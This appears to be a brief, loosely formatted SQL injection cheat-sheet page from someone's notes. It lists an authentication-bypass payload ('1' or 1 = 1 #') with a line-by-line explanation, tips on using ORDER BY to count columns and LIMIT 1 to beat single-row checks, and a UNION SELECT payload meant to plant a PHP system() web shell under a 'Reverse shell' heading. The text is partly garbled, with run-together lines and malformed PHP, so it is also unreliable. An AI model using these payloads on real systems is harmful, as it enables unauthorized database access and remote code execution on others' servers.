SQL Injection
Basic injection
1' or 1 = 1 #
1'
: can be anything with ending quoteor
: so we could write success query.1 = 1
: so its always trueString would be quoted, 1 is integer so we dont quote
#
: comment anything after this may be there in code
GOTCHA
order by
: in order to understand field count.limit 1
: useful to bypasscount === 1
Exploit TIPS
Reverse shell
union select 1, 2, '<?php system[$_GET]>
TIPS
GOOD READS
Last updated